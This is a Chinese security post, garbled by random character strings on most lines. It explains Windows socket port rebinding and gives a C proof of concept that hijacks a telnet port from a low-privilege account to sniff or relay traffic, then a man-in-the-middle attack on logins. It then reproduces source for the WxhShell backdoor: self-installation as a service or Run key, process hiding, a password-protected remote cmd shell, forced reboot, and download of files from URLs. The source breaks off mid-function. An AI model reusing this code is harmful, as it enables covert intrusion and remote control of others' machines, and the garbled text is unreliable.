在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-6yFE- X/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8EC$p} S eI:;l];G9 saddr.sin_family = AF_INET;
:WM[[LOaC ns}"[44C}l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q*pWx]Y x/]]~@: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1cvH T0F!0O ` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!Bqmw OLh QS_D 这意味着什么?意味着可以进行如下的攻击:
lE 09 Y fo5+3iu^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>6\rhx> 7w8I6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5.o{A#/NTl A{(<#yRfg 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*0!IHr"fn <7X6ULQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
SBog7An9SI y'21)P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#CcWsI>+w> :,*{,^2q: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
u^Ss8}d |j>fsk~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Xx;4 |`c=`xK7' #include
n>##,o|Vr# #include
r[votdFo #include
~L3]Wa. #include
B 4my DWORD WINAPI ClientThread(LPVOID lpParam);
$=rLs) int main()
HLp9_Y{X. {
/4_^'RB WORD wVersionRequested;
+:D90p$e DWORD ret;
tiHP?N U WSADATA wsaData;
D$$,T.'u BOOL val;
l We1Q# SOCKADDR_IN saddr;
.C7;T'>! SOCKADDR_IN scaddr;
25-5X3(>j= int err;
LI/;`Y= SOCKET s;
gZ&' J\ SOCKET sc;
C?47v4n-' int caddsize;
0{'%j~" HANDLE mt;
X GhV?
tA DWORD tid;
I6B4S"Q5< wVersionRequested = MAKEWORD( 2, 2 );
Rb=8(# err = WSAStartup( wVersionRequested, &wsaData );
hq[RU&\ if ( err != 0 ) {
cN]]J printf("error!WSAStartup failed!\n");
\8HLQly|@ return -1;
'V-_3WWxU }
7Ew.6!s#n1 saddr.sin_family = AF_INET;
r1o_i;rg I,0Z* rw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
= m6yH_`@ 1p]Z9$Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
IP
e"9xb saddr.sin_port = htons(23);
cV+x.)a. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w\f>.N {
wO&2S-;_K printf("error!socket failed!\n");
!v`C-1}70 return -1;
Zv8I`/4? }
TP-<Lhy val = TRUE;
H.R7,'9 //SO_REUSEADDR选项就是可以实现端口重绑定的
2B<0|EGtzw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'
+*,|;? {
SK&? s`
printf("error!setsockopt failed!\n");
H;(|&Asq> return -1;
JRT,%;*, }
*k%3J9=-1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
}M+2 ,#l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$GcVI;a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
JLZ=$ d MG6y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G"._]3CPF {
UvPD/qu$8D ret=GetLastError();
3Q-[)Z ) printf("error!bind failed!\n");
gJv;{;% return -1;
y5AJ1A6?E }
8fI&-uP{g listen(s,2);
LNR~F_64Q while(1)
{95u^S= {
<F7g;s'q9 caddsize = sizeof(scaddr);
X8Ld\vZYn //接受连接请求
zC[lPABQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-jJw wOm if(sc!=INVALID_SOCKET)
<GthJr>1D {
u^{6U(% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(b}}' if(mt==NULL)
=Lyo]8>,X {
Nr(3!- printf("Thread Creat Failed!\n");
_/iw=-T break;
>*"6zR2 o }
@uaf&my,P }
FID4@-- CloseHandle(mt);
O{F)|<L(G }
7:>VH>?D closesocket(s);
-Ze{d$ WSACleanup();
!;1$1xWK return 0;
5W29oz}-S }
ag
\d4y6 DWORD WINAPI ClientThread(LPVOID lpParam)
Y=- ILN(" {
ju= +!nGUa SOCKET ss = (SOCKET)lpParam;
>.]'N:5 SOCKET sc;
v1E=P7}\{s unsigned char buf[4096];
djxM/"xo SOCKADDR_IN saddr;
W18I"lHeh long num;
,& ^vc_} DWORD val;
xQetAYP` DWORD ret;
|8s)kQ4$ //如果是隐藏端口应用的话,可以在此处加一些判断
.{@aQwN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0/F/U=Z! saddr.sin_family = AF_INET;
sivd@7r\Fa saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
mGK-&|gq saddr.sin_port = htons(23);
ra'h\m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m<cvx3e {
uv,_?x\' printf("error!socket failed!\n");
mm5y'=# return -1;
uDZ$'a }
ps*dO val = 100;
Lk-%I? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
clwJ+kku@ {
w|uO)/v ret = GetLastError();
rq.S0bzH return -1;
W"@FRWcd }
MGmUgc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E9yBa=#*c {
5}/TB_W7j ret = GetLastError();
|=Mn~`9p return -1;
NQD*8PGfj }
Po:)b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BRx`83CK {
Jf,)Y>EI printf("error!socket connect failed!\n");
bBFdr closesocket(sc);
!w[io; closesocket(ss);
%!>~2=Q2* return -1;
_Wjd`* }
aB(6yBBoxj while(1)
[AZN a {
_IK@K6V1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j9=QOq //如果是嗅探内容的话,可以再此处进行内容分析和记录
%qM3IVPK)q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
sZ,mRT num = recv(ss,buf,4096,0);
+foyPj!% if(num>0)
J"x M[c2 send(sc,buf,num,0);
x-e?94}^ else if(num==0)
RQ1`k,R= break;
Z!qH L$ num = recv(sc,buf,4096,0);
i'Oh^Y)E# if(num>0)
j3W)5ZX send(ss,buf,num,0);
E!eBQ[@ else if(num==0)
'kD~tpZ break;
#jja#PF]7 }
O-M4NKl]6 closesocket(ss);
\(C_t1 closesocket(sc);
]/p)XHKo return 0 ;
p$5+^x'( }
c
4<~?L K`9ph"(Z NTHy!y<!h ==========================================================
Use`E !*?Ss 下边附上一个代码,,WXhSHELL
"o*zZ;>^ 3KF[ v{ ==========================================================
k]n=7vw; r] +V:l3 #include "stdafx.h"
<V3N!H_d Z]I[?$y #include <stdio.h>
jZm57{C#*? #include <string.h>
%mhnd): #include <windows.h>
GYD` #include <winsock2.h>
N|,6<| #include <winsvc.h>
#l(cBM9sz #include <urlmon.h>
r2EIhaGF; E! i:h62 #pragma comment (lib, "Ws2_32.lib")
!zw)! rV= #pragma comment (lib, "urlmon.lib")
P|[i{h 0.^9)v*i #define MAX_USER 100 // 最大客户端连接数
WCbv5)uTUs #define BUF_SOCK 200 // sock buffer
!KUV,>L #define KEY_BUFF 255 // 输入 buffer
Di3<fp#w# 4No!`O-!& #define REBOOT 0 // 重启
);^]
is~ #define SHUTDOWN 1 // 关机
GHMoT "G8w}n:y #define DEF_PORT 5000 // 监听端口
8q6b3q:c 7kBULeBn| #define REG_LEN 16 // 注册表键长度
?U:LAub #define SVC_LEN 80 // NT服务名长度
V01-n{~G K#=)]qIk // 从dll定义API
HS|X//] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N{]|!# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{e4ILdXM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
f!`,!dZgkd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4MVa[0Y <uugT9By // wxhshell配置信息
QY,.| struct WSCFG {
JNzNK.E!m- int ws_port; // 监听端口
2EubMG char ws_passstr[REG_LEN]; // 口令
}ug|&25D int ws_autoins; // 安装标记, 1=yes 0=no
{YCquoF char ws_regname[REG_LEN]; // 注册表键名
EHT5Gf char ws_svcname[REG_LEN]; // 服务名
ndkV(#wQS char ws_svcdisp[SVC_LEN]; // 服务显示名
PNSZ
j# char ws_svcdesc[SVC_LEN]; // 服务描述信息
-ISI!EU$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
bF88F_ int ws_downexe; // 下载执行标记, 1=yes 0=no
mCtuR*z_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3N?WpA768/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
FTtGiGd|Zy *g^U=t };
+"!,rZ7,A _5^p+ // default Wxhshell configuration
V`KXfY struct WSCFG wscfg={DEF_PORT,
=OIxG}* "xuhuanlingzhe",
7XE/bhe%S 1,
"}i\"x;s "Wxhshell",
8J:6uO
c| "Wxhshell",
%Dg]n4f "WxhShell Service",
#Nt?4T< "Wrsky Windows CmdShell Service",
C:n55BE9 "Please Input Your Password: ",
Q(-:)3g[aL 1,
^ ~HV`s "
http://www.wrsky.com/wxhshell.exe",
m8F-#?~ "Wxhshell.exe"
eUYd0L! };
xf8C$|, zof>S>5>R7 // 消息定义模块
A f@IsCOJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1"r6qYN!> char *msg_ws_prompt="\n\r? for help\n\r#>";
}bG|(Wp9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nT0FonK> char *msg_ws_ext="\n\rExit.";
@0q%&v0 char *msg_ws_end="\n\rQuit.";
Mg.xGST char *msg_ws_boot="\n\rReboot...";
iHo2=Cz char *msg_ws_poff="\n\rShutdown...";
&|7pu= char *msg_ws_down="\n\rSave to ";
)1a3W7 Oo<^~d2= char *msg_ws_err="\n\rErr!";
r"OVu~ND char *msg_ws_ok="\n\rOK!";
*yqEl
O [X.sCl| char ExeFile[MAX_PATH];
DfFsCTu int nUser = 0;
L&F0^ HANDLE handles[MAX_USER];
-I.OvzQ* int OsIsNt;
w!7f* ?]}1FP SERVICE_STATUS serviceStatus;
xBhfC!AK} SERVICE_STATUS_HANDLE hServiceStatusHandle;
e2Sudd=' G Akf?BB3bC // 函数声明
zE +)oQ, int Install(void);
(!Q^.C_m int Uninstall(void);
~A+DH int DownloadFile(char *sURL, SOCKET wsh);
m!s/L,iJJ int Boot(int flag);
$-m`LF@ void HideProc(void);
Pew-6u" int GetOsVer(void);
p]uwGWDI int Wxhshell(SOCKET wsl);
ir<HC 'D[ void TalkWithClient(void *cs);
]<mXf~zg
int CmdShell(SOCKET sock);
dm1WC:b int StartFromService(void);
_eAZ_@ int StartWxhshell(LPSTR lpCmdLine);
~xqRCf{8 le?hCPHkp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
xI}h{AF7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
n%I%O7 i{w<4E3 // 数据结构和表定义
KTd,^h SERVICE_TABLE_ENTRY DispatchTable[] =
fr8:L!9 {
MoN;t; {wscfg.ws_svcname, NTServiceMain},
bZk7)b;1o {NULL, NULL}
RS G\3( };
h>w4{ u0 f5+a6s9 // 自我安装
QfJ?'* int Install(void)
P?dE\Po7 {
0[g8 char svExeFile[MAX_PATH];
zp>q$e40 HKEY key;
R_ojK&% strcpy(svExeFile,ExeFile);
b>AFhj : &Ib8xwb: // 如果是win9x系统,修改注册表设为自启动
>h/J{T(P>h if(!OsIsNt) {
!L"3Ot d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:e:jILQ[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~HsPYc8Fz RegCloseKey(key);
.,[zI@9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;w@PnY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A/Kw"l> RegCloseKey(key);
EoqUFa, return 0;
=h^cfyj }
}!b9L] }
]%m0PU# }
q
bb:)> else {
wE:hl ig^9lM' // 如果是NT以上系统,安装为系统服务
$Ml/=\EHOg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QIVpO /@ if (schSCManager!=0)
Fn*clx< {
l?v-9l M SC_HANDLE schService = CreateService
#*;(%\q} (
NvWwj%6] schSCManager,
306C_M\$ wscfg.ws_svcname,
CXGq>cQ=d wscfg.ws_svcdisp,
?y!0QAIXK SERVICE_ALL_ACCESS,
Q@hx+aM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XX",&cp02V SERVICE_AUTO_START,
Wq8Uq}~_g SERVICE_ERROR_NORMAL,
7f_4qb8 svExeFile,
8'?V5.6?|~ NULL,
W'6~`t NULL,
:^FOh*H NULL,
1SeDrzLA NULL,
(UPkb$Qc NULL
?U:?o_w );
u^SXg
dj if (schService!=0)
TLzg* {
rIp84} CloseServiceHandle(schService);
ET1/oG<@ CloseServiceHandle(schSCManager);
I&qT3/SVI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ce}wgKzr strcat(svExeFile,wscfg.ws_svcname);
oqHI`Tu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.|$6Pi%! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
oX@nWQBc_ RegCloseKey(key);
utKtxLX" return 0;
'x
BBQP }
ZurQr} }
4]RGLN CloseServiceHandle(schSCManager);
iPX6r4- }
JzMPLmgG/ }
Udv5Y f
sAgXv
return 1;
nk9Kq\2f: }
gUzCDB^.: qlmz@kTb // 自我卸载
pXPwn( int Uninstall(void)
J6/Mm7R {
RRig
HKEY key;
@$z/=g sy v;AMx-_WH if(!OsIsNt) {
]W3D4Swq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Xjc{={@p3 RegDeleteValue(key,wscfg.ws_regname);
\ Xow#@[ RegCloseKey(key);
E6|!G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_@jBz"aq\ RegDeleteValue(key,wscfg.ws_regname);
O79;tA<k RegCloseKey(key);
F@4XORO; return 0;
KB!.N[!v }
$/5<f<%u&) }
fg"@qE-; }
lg1yj}br else {
^%wj6 Lc(D2=% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dHc38zp if (schSCManager!=0)
~,KAJ7O_ {
EU.vw0}u8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1C(6.7l if (schService!=0)
3Vj uk7 {
8v"tOa4D7 if(DeleteService(schService)!=0) {
#=UEx
CloseServiceHandle(schService);
-~ytk= CloseServiceHandle(schSCManager);
Y%:FawR return 0;
<T{2a\i 4f }
)nU%}Z CloseServiceHandle(schService);
Fv=7~6~ }
bs$x%CR CloseServiceHandle(schSCManager);
jC>l<d_ }
rXXIpQRi$S }
[,)yc/{* De,4r(5 return 1;
@=q,,t$r }
e|u|b b}4k-hZL // 从指定url下载文件
Hi #'h int DownloadFile(char *sURL, SOCKET wsh)
2GQq(_ {
VQF!|*#
HRESULT hr;
B4 5B`Ay char seps[]= "/";
Y\luz`v char *token;
&n+3^JNl char *file;
j%Mz;m4y char myURL[MAX_PATH];
P]gksts9f. char myFILE[MAX_PATH];
BFmYbK zvB!= strcpy(myURL,sURL);
tyFhp:ZB token=strtok(myURL,seps);
yaV=e1W while(token!=NULL)
-=,%9r {
[?$ZB),L8 file=token;
0 ;kcSz token=strtok(NULL,seps);
Z)Y--`*
}
*F/ uAI^) B
MU@J GetCurrentDirectory(MAX_PATH,myFILE);
0:UK)t)3I strcat(myFILE, "\\");
=0 W`tx strcat(myFILE, file);
?n)r1m send(wsh,myFILE,strlen(myFILE),0);
! )$
PD@ send(wsh,"...",3,0);
V0+D{|thh6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|$@/
Z+ if(hr==S_OK)
gv$6\1 return 0;
V_jVVy30Ji else
aCzdYv\} & return 1;
""l_&3oz ]z`Y'wSxd }
G%~=hEK0 .kh%66: // 系统电源模块
B$qmXA)ze int Boot(int flag)
)iadu {
.E:[\H" HANDLE hToken;
+%(iGI{ TOKEN_PRIVILEGES tkp;
c7T9kV8hS Gb+cT if(OsIsNt) {
%J4]T35^2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f2Frb
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SvC|"-[mJ tkp.PrivilegeCount = 1;
F_;oZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"8|y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
oZ95 )'L, if(flag==REBOOT) {
opTDW) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H6?ZE return 0;
7cin?Z1 }
yZ3/Ia>, else {
/=Bz[O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<y5V],-U return 0;
X.<_TBos| }
;;'b;,/ }
f%9EZ+OP else {
8>a/x , if(flag==REBOOT) {
{Pm^G^EP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?l#9ydi? return 0;
rm2"pfs }
%98F>wl else {
[Z6]$$!#2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@!6eRp>Z return 0;
c 2j?<F1 }
L(Q v78F }
r4caIV |`T3H5X> return 1;
bep}|8,#u }
M>J8J* Ge$cV} // win9x进程隐藏模块
G?12?2 void HideProc(void)
pv039~Sud {
*FDz20S QxvxeK!Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
p.i$[6M if ( hKernel != NULL )
p3O%|)yV {
o>#<c
@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
zMb7a_W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t$=FcKUV}f FreeLibrary(hKernel);
U~Aw=h5SD }
6"Q/Y[y ,
RfU1R return;
&3v{~Xg) }
L^rtypkJ u.iFlU // 获取操作系统版本
Qfo'w%px int GetOsVer(void)
H4 Y7p {
:Bp{yUgi@ OSVERSIONINFO winfo;
d$)'?Sf]h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[^ck;4q GetVersionEx(&winfo);
Malt7M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
I$0`U;Xd return 1;
5P{dey! else
I2("p.+R return 0;
T:x5 ,vpM }
>1:s.[& @eMDRbgq;[ // 客户端句柄模块
M x j int Wxhshell(SOCKET wsl)
AoyU1MR( {
pcNVtp'V SOCKET wsh;
kbBD+* struct sockaddr_in client;
VpMpZ9oM< DWORD myID;
xtf]U:c uxk&5RY while(nUser<MAX_USER)
=]oBBokV {
_dppUUm int nSize=sizeof(client);
{y<[1Pms wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
L5%~H?K( if(wsh==INVALID_SOCKET) return 1;
>`=
'~y8 FOpOS?Cr' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w<j6ln+nM if(handles[nUser]==0)
;+K:^*oJ closesocket(wsh);
@;_r`AT7 else
DU$]e1 nUser++;
\*6%o0c }
R6dw#;6{I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,0[8/)$M xr!FDfM.K return 0;
is{I5IR\/ }
Gh0H)
q +xRja(d6 // 关闭 socket
3O%[k<S\VO void CloseIt(SOCKET wsh)
liFNJd`|o+ {
: Ey closesocket(wsh);
Nt67Ye3; nUser--;
e.G&hJr ExitThread(0);
srx`"
: }
wM (!9Ws3 ^mFuZ~g;? // 客户端请求句柄
NAV}q<@v void TalkWithClient(void *cs)
V'pNo&O= {
iKV;>gF,)v .{HU1/! SOCKET wsh=(SOCKET)cs;
-"Lia!Q]M char pwd[SVC_LEN];
n?@3R#4D3 char cmd[KEY_BUFF];
'1ff| c!x9 char chr[1];
fMwJwMT8 int i,j;
8kAG EiC h3aHCr E while (nUser < MAX_USER) {
9?gLi!rd s['F?GWg if(wscfg.ws_passstr) {
JO5~Vj_" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]eb9Fq:N7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E&
T9R2Y //ZeroMemory(pwd,KEY_BUFF);
*La*j3|: i=0;
dGQxGt1 while(i<SVC_LEN) {
8^p/?R^bu ^SxB b,\ // 设置超时
eznw05U fd_set FdRead;
8U\;N struct timeval TimeOut;
u%a2"G| FD_ZERO(&FdRead);
0@,,YZf FD_SET(wsh,&FdRead);
X"J79?5 TimeOut.tv_sec=8;
Ts0.Ck TimeOut.tv_usec=0;
wke$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:::"C"Ge if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T{]Tb= p}uL%:Vr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t ?28s/? pwd
=chr[0]; 9/D+6hJ]:
if(chr[0]==0xd || chr[0]==0xa) { go6Hb>
pwd=0; y&lj+j
break; P\iw[m7O
} /+2^xEIjE
i++; @`k!7?
Sq
} Ee9u7TFT
s?=f,I
// 如果是非法用户,关闭 socket NeCTEe|V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M^r1b1tR
} HCb7`(@
gsc/IUk
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %,a.431gi
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :CSys62
mn*.z!N=
while(1) { q ]rsp0P2
+F&w~UT
ZeroMemory(cmd,KEY_BUFF); |GL#E"[&'
{\`#,[
// 自动支持客户端 telnet标准 5LhFD
j=0; hc>hNC:a
while(j<KEY_BUFF) { ^ft_1 d[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e.\d7_T+
cmd[j]=chr[0]; Hh$D:ZO
if(chr[0]==0xa || chr[0]==0xd) { |g> K$m^
cmd[j]=0; fcr\XCG7U
break; !K'kkn,h
} :b^tu8E
j++; `"I^nD^t>Y
} R2x(8k"LPU
RFDwL~-p
// 下载文件 ;.!AX|v
if(strstr(cmd,"http://")) { ?&)<h_R4p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;*wZgl
if(DownloadFile(cmd,wsh)) >8 t3a-/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DB:Ia5|*i
else i4'?/UPc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .2!'6;K
} /V46:`V
else { cc.zC3Hs3
m]=|%a6
switch(cmd[0]) { vhTte
|(
6T"[M
// 帮助 cQu1WgQ
G
case '?': { ?*tpW75hR[
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n:`> QY
break; `DC)U1
} G~8C7$0z
// 安装 ~7 C` a$
case 'i': { fph*|T&R
if(Install()) epW;]>
l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !(w\%$|
else 7tUl$H;I/R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q,^^c1f
break; )+N%!(ki
} ^&h|HO-5
// 卸载 a)Qx43mOS
case 'r': { o9<jj> R;
if(Uninstall()) 9FX'Uw s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ZQXYwfC|
else /tJJ2 =%l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ca*^U-
break; #J, `a.
} JdfjOlEb
// 显示 wxhshell 所在路径 87>\wUJ
case 'p': { K
S,X$)9
char svExeFile[MAX_PATH]; /(E)|*~6
strcpy(svExeFile,"\n\r"); [jeZZB
strcat(svExeFile,ExeFile); FoInJ(PDH
send(wsh,svExeFile,strlen(svExeFile),0); 1}QU\N(t
break; 1;4TA}'H
} D/9&pRsO
// 重启 %S]5wR6;_
case 'b': { f<!eJO:<'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zRD{"uqi
if(Boot(REBOOT)) z4&|~-m,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PLw;9^<
else { p(v+j_ak
closesocket(wsh); ^E{~{
ExitThread(0); \H*"UgS
} y%cg
break; A>xFNem
} g.s~Ph- G
// 关机 o D*h@yL
case 'd': { km}%7|R?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J5mMx)t@
if(Boot(SHUTDOWN)) Nf}G
"!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]gQgNn?
else { yg5 Ik{
closesocket(wsh); Xi6XV3G
ExitThread(0); |bO}|X
} S$=])^ dur
break; 7-'!XD!
} b9%hzD,MR
// 获取shell A>b o Xcr
case 's': { UCa(3p^V_
CmdShell(wsh); 3!Gnc0%c
closesocket(wsh); n*9)Y~
ExitThread(0); Z'/:
break; ]Yp;8#:1
} `CUTb*{`
// 退出 }RO Cj,|
case 'x': { [_^K}\/+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K`M 8[ %S
CloseIt(wsh); 4B d[r7
break; {qp
XzxV
} Zyu4!
// 离开 <JuP+\JAm
case 'q': { Cz+`C9#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,*+F*:o(m
closesocket(wsh); l7Zqk GG]
WSACleanup(); cD YKvrPY
exit(1); BB.^-0up
break; cE$<6&0
} ^GD"aerNr
} O8wR#(/
} V) a<)
:tl*>d~
// 提示信息 P bj &l0C
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D2# 3fM6
} &_x:+{06
} ^{T]sv
U,gg@!1GJo
return;
D8m1:kU
} ~5N0=)
rFh!&_
// shell模块句柄 -v/1R1$e1
int CmdShell(SOCKET sock) Ovxs+mQ
{ [1F.
STARTUPINFO si; k-Hy>5;
ZeroMemory(&si,sizeof(si)); Eh^c4x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'P0:1">
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `WboM\u
PROCESS_INFORMATION ProcessInfo; Rp^kD ,*
char cmdline[]="cmd"; h#dp_#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *?zmo@-
return 0; _K<H*R
} A_tdtN<
>=G;rs
// 自身启动模式 tda#9i[pkH
int StartFromService(void) -,)&?S
{ `aD~\O
typedef struct mXtsP1
{ l~b# Y&
DWORD ExitStatus; ?NOc]'<(G
DWORD PebBaseAddress; -|bnvPmE
DWORD AffinityMask; M4w,J2_8MK
DWORD BasePriority; F{WV}o=MY
